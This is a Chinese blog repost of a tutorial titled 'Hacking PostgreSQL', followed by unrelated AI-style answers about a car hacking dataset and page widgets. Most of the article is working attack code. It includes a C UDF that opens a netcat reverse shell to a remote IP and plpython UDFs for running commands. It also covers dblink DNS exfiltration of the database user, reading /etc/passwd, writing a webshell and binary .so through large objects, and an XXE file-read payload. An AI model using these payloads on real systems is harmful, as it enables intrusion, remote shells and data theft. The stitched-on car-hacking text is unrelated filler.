Hacking PostgreSQL

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

0x01 SQL 注入


大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet
此外,利用 sqlmap 也是一个不错的方式。

0x02 执行命令


C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是为了 Postgresql 的安全机制(大概?),在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

执行系统命令的动态链接库源码为:

1
2
3
4
5
6
7
8
9
10
11
12
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
 
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
 
text *exec()
{
     system ( "nc -e /bin/bash 10.211.55.2 9999" );
}

利用如下命令编译 .so 文件:

1
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so

在 pgsql 里执行:

1
2
CREATE OR REPLACE FUNCTION exec ()  RETURNS text AS  '/tmp/1.so' , 'exec' LANGUAGE C STRICT;
select exec ();

监听的 9999 端口得到一个 shell:

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

1
apt-get install postgresql-plpython-9.1

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

1
2
3
4
5
6
CREATE FUNCTION system (a text)
   RETURNS text
AS $$
   import os
   return os.popen(a). read ()
$$ LANGUAGE plpython2u;

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

创建好 UDF 后,直接调用如下语句即可:

1
select system( 'ls -la' );

此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。

文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

0x03 DNS 请求获取数据


同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink,可以通过如下命令开启:

1
CREATE EXTENSION dblink

接着运行如下语句,获取当前数据库用户名称:

1
SELECT * FROM dblink( 'host=' ||( select user )|| '.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb' , 'SELECT version()' ) RETURNS (result TEXT);

远程获取到请求内容:

0x04 读写文件


PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

1
2
3
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd' ;
SELECT * FROM temptable limit 1 offset 0;

读取结束后:

1
DROP TABLE temptable;

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:

1
COPY (select '<?php phpinfo();?>' ) to '/tmp/1.php' ;

即可写一个文件。
根据疯狗的这一篇帖子:http://zone.wooyun.org/content/4971,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

1
ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 的 FORMAT 位 binary 来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

1
2
3
4
5
6
7
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode( '7f454c4...0000' , 'hex' ));
INSERT INTO pg_largeobject VALUES (12345, 1, decode( '0000000...0000' , 'hex' ));
INSERT INTO pg_largeobject VALUES (12345, 2, decode( 'f604000...0000' , 'hex' ));
INSERT INTO pg_largeobject VALUES (12345, 3, decode( '0000000...7400' , 'hex' ));
SELECT lo_export(12345, '/tmp/test.so' );
SELECT lo_unlink(12345);

其中每一段都要小于等于 2KB,这样就可以成功写入:

0x05 XXE


老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day
大体就是执行语句:

1
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>' );

可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考


  1. PostgreSQL SQL Injection Cheat Sheet
  2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
  3. PostgreSQL 9.0 Documentation
  4. PostgreSQL (all) error-based XXE 0day

最后,如有错误请不吝赐教。


原作者;Ricter   原链接;http://drops.wooyun.org/tips/6449

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: car hacking dataset是指用于研究和分析汽车网络安全的数据集。随着汽车技术的发展,车辆越来越多地依赖于计算机系统和网络连接来提供各种功能和服务。然而,与之相应的风险也不可忽视,例如黑客攻击可能导致汽车系统的不安全和操纵。为了更好地了解这些风险,研究人员和安全专家需要大量的汽车网络安全数据来分析和评估现有系统的弱点和潜在攻击方法。 car hacking dataset通常包括了大量的实验数据和实验结果,这些数据是通过在车辆中安装传感器、采集网络通信数据以及执行安全测试等方法获得的。这些数据可以包含车辆的各种传感器数据,例如加速度计、GPS位置信息、车辆速度等,还可以包含车辆的网络通信数据、CAN总线数据等。同时,数据集还可能包含了一系列的安全测试结果,如针对车辆系统进行的攻击测试以及对系统漏洞和弱点的评估。 研究人员可以利用car hacking dataset来开展各种安全研究和分析工作。通过分析这些数据,可以发现汽车系统的潜在风险和安全漏洞,评估系统的安全性能,并提出相应的安全措施和解决方案。此外,car hacking dataset还可以用于开发和测试车辆网络安全的防御机制和安全工具。 总之,car hacking dataset是用于研究和分析汽车网络安全的重要资源,它提供了丰富的数据和实验结果,可以帮助研究人员深入了解汽车系统的安全性能和潜在风险,进而提供更好的安全保护措施。 ### 回答2: car hacking dataset是指用于研究和分析汽车网络安全的数据集。这些数据集是从真实的汽车系统收集而来,包含了各种汽车网络攻击的数据和信息。这些数据集的目的是为了提供给研究人员和安全专家一个可以进行分析和测试的平台,以便更好地理解和预防汽车网络安全漏洞。 car hacking dataset通常包含了来自汽车网络的各种数据,例如CAN总线、ECU通信、传感器数据等。这些数据通常经过匿名化处理,以保护隐私和安全。数据集中可能包含不同类型的攻击情景,如远程控制攻击、信息窃取攻击、篡改消息攻击等,以及与汽车网络安全相关的其他信息。 对于研究人员和安全专家来说,car hacking dataset是一种宝贵的资源。它们可以利用这些数据集进行攻击和防御技术的研究和实验。通过分析这些数据,研究人员可以深入了解汽车网络中存在的安全漏洞和威胁,并开发出更有效的防护措施。 此外,car hacking dataset还可以为汽车制造商和安全公司提供一个测试和验证汽车网络安全解决方案的平台。利用这些数据集,他们可以评估自己的系统和算法的安全性,并进行必要的改进。 总之,car hacking dataset是为研究人员、安全专家和汽车行业提供的一个重要资源,它们通过提供真实的汽车网络数据来支持对汽车网络安全的研究和改进。 ### 回答3: Car hacking dataset是指一个包含了与汽车网络安全相关数据数据集。汽车的网络安全问题正在成为一个日益严重的问题,因此研究人员和汽车制造商需要收集相关数据来进行研究和分析,以提高汽车的网络安全性。 这个数据集可能包含了许多与汽车网络安全相关的数据,包括汽车中的电子控制单元(ECU)的通信记录、CAN总线数据、车载电话系统和导航系统的数据等等。这些数据可以包括传感器数据、通信数据、控制指令等。 通过分析这些数据,研究人员可以了解车辆系统中存在的潜在漏洞和安全隐患。例如,他们可以分析攻击者如何通过操纵汽车的控制指令来控制汽车的行驶方向、刹车和加速等功能。通过研究这些攻击技术,研究人员可以为汽车制造商提供改进汽车网络安全性的建议。 此外,这个数据集对于开发安全解决方案和测试工具也非常有用。研究人员可以利用这些数据来开发新的安全防护工具,以帮助汽车制造商预防潜在的网络攻击。同时,汽车制造商也可以使用这个数据集来测试他们的汽车网络安全性,以确保汽车系统不容易受到黑客攻击。 总的来说,Car hacking dataset是一个包含了与汽车网络安全相关数据数据集,它对于研究汽车网络安全问题、开发安全解决方案和测试工具都非常有帮助。通过分析这些数据,我们可以提高汽车系统的网络安全性,确保乘客的安全和隐私。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值